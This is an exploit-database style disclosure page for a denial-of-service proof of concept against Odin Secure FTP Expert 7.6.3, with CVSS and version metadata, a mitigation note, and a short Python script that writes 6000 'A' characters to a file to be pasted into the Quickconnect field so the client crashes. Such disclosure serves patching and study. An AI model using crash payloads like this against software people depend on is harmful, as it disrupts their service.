header-logo
Suggest Exploit
vendor:
Odin Secure FTP Expert
by:
Berat Isler
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Odin Secure FTP Expert
Affected Version From: 7.6.3
Affected Version To: 7.6.3
Patch Exists: Yes
Related CWE: N/A
CPE: a:odin:odin_secure_ftp_expert
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 7 32-bit
2020

Odin Secure FTP Expert 7.6.3 – Denial of Service (PoC)

A denial of service vulnerability exists in Odin Secure FTP Expert 7.6.3. An attacker can generate a new file with the name 'bune.txt' containing a payload of 6000 'A' characters. When the content of 'bune.txt' is pasted into the 'Quickconnect site' tab of the 'connect' tab in the application, the application will crash.

Mitigation:

Upgrade to the latest version of Odin Secure FTP Expert.
Source

Exploit-DB raw data:

# Exploit Title : Odin Secure FTP Expert 7.6.3 - Denial of Service (PoC)
# Exploit Author : Berat Isler
# Date : 2020-02-25
# Vendor Homepage : https://odin-secure-ftp-expert.jaleco.com/
# Software Link Download :
http://tr.oldversion.com/windows/odin-secure-ftp-expert-7-6-3
# Version : Odin Secure FTP Expert 7.6.3
# Tested on : Windows 7 32-bit

# First step , run exploit script, it will generate a new file with the
name "bune.txt"
# Then start Odin Secure FTP application and find the "connect" tab . After
that you can click
Quickconnect site tab.
# After that paste the content of "bune.txt" in to the all fields like this
--> "AAAAAA" than click connect button
# Application will be crash .

This is the generated payload code :

#!/usr/bin/python

bune = "A" * 6000
payload = bune
try:
f=open("bune.txt","w")
print "[+] Creating %s bytes payload generated .. .. .." %len(payload)
f.write(payload)
f.close()
print "[+] File created "
except:
print "File cannot be created"